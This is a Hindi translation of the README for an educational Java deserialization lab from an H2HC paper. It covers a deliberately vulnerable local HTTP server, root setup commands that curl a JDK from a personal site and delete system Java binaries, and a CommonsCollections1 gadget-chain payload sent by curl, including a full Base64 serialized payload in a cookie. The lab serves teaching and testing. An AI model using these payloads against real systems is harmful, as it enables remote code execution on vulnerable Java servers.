
शैक्षिक प्रयोगशाला जो Java डिसेरियलाइज़ेशन कमजोरियों को समझने के लिए है, जिसमें JBoss CVEs के लिए PoC एक्सप्लॉइट, गैजेट चेन विश्लेषण, और पेलोड परीक्षण के लिए एक कमजोर HTTP सर्वर शामिल है।
यह सामग्री H2HC पत्रिका के 12वें संस्करण के लिए लिखे गए पेपर से संबंधित है। पूरा पेपर देखें: https://www.h2hc.com.br/revista/
बातचीत की स्लाइड्स और वीडियो जल्द ही उपलब्ध होंगे।
Um overview sobre as bases das falhas de desserialização nativa em ambientes Java (JVM)
जावा वर्चुअल मशीन (JVM) में डिसीरियलाइज़ेशन कमज़ोरियों का एक अवलोकन
प्रयोगशाला में कोड नमूने शामिल हैं जो आपको डिसीरियलाइज़ेशन कमज़ोरियों और गैजेट चेन द्वारा उनके शोषण को समझने में मदद करते हैं। लक्ष्य बेहतर समझ प्रदान करना है ताकि आप नए पेलोड विकसित कर सकें और/या अपने वातावरण को बेहतर ढंग से डिज़ाइन कर सकें।
एक कमज़ोर परीक्षण अनुप्रयोग (VulnerableHTTPServer.java) भी है, जो आपको अपने पेलोड का परीक्षण करने में मदद करता है।

सबसे पहले आपको पूरा पेपर पढ़ना होगा। फिर नमूना कोड की समीक्षा करें और पेलोड कैसे काम करते हैं यह समझने के लिए कमज़ोर परीक्षण अनुप्रयोग का उपयोग करें।
JDK प्राप्त करना
यदि आप Oracle पेज पर जाकर पंजीकरण नहीं करना चाहते, तो आप सीधे मुझसे JDK डाउनलोड कर सकते हैं: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/
रूट के रूप में, चलाएँ:
# cd /opt
# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
# tar zxvf jdk-8u20-linux-x64.tar.gz
# rm -rf /usr/bin/java*
# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
# java -version
java version "1.8.0_20"
कोड प्राप्त करना:
$ git clone https://github.com/joaomatosf/JavaDeserH2HC.git
$ cd JavaDeserH2HC
कमज़ोर वेब अनुप्रयोग को संकलित और निष्पादित करना:
$ javac VulnerableHTTPServer.java -XDignore.symbol.file
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
* =============================================================== *
* Simple Java HTTP Server for Deserialization Lab v0.01 *
* https://github.com/joaomatosf/JavaDeserH2HC *
* =============================================================== *
You can inject java serialized objects in the following formats:
1) Binary in HTTP POST (ie \xAC\xED). Ex:
$ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser
2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:
$ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..."
$ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..."
3) Base64 or Gzip+Base64 in cookies. Ex:
$ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..."
$ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..."
4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:
$ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg...
5) XML for XStream RCE vulnerability/serialization. Ex:
$ curl 127.0.0.1:8000 -d @file.xml
OBS: To test gadgets in specific libraries, run with -cp param. Ex:
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
==================================================================
JRE Version: 1.8.0_77
[INFO]: Listening on port 8000
पेलोड का परीक्षण
उदाहरण 1 संकलित करना जो क्लासपाथ में commons-collections3.2.1 और JRE < 8u72 वाले अनुप्रयोगों पर काम करता है:
$ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
पेलोड उत्पन्न करना:
$ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
Saving serialized object in ExampleCommonsCollections1.ser
कमज़ोर सर्वर का शोषण:
HTTP POST के माध्यम से बाइनरी प्रारूप में पेलोड भेजना:
$ rm -rf /tmp/h2hc_2017
$ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser
Data deserialized!
$ ls -all /tmp/h2hc_2017
-rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017
HTTP कुकीज़ के माध्यम से Gzip+Base64 प्रारूप में पेलोड भेजना:
$ rm -rf /tmp/h2hc_2017
$ gzip ExampleCommonsCollections1.ser
$ base64 -w0 ExampleCommonsCollections1.ser.gz
$ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA"
Data deserialized!
$ ls -all /tmp/h2hc_2017
-rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017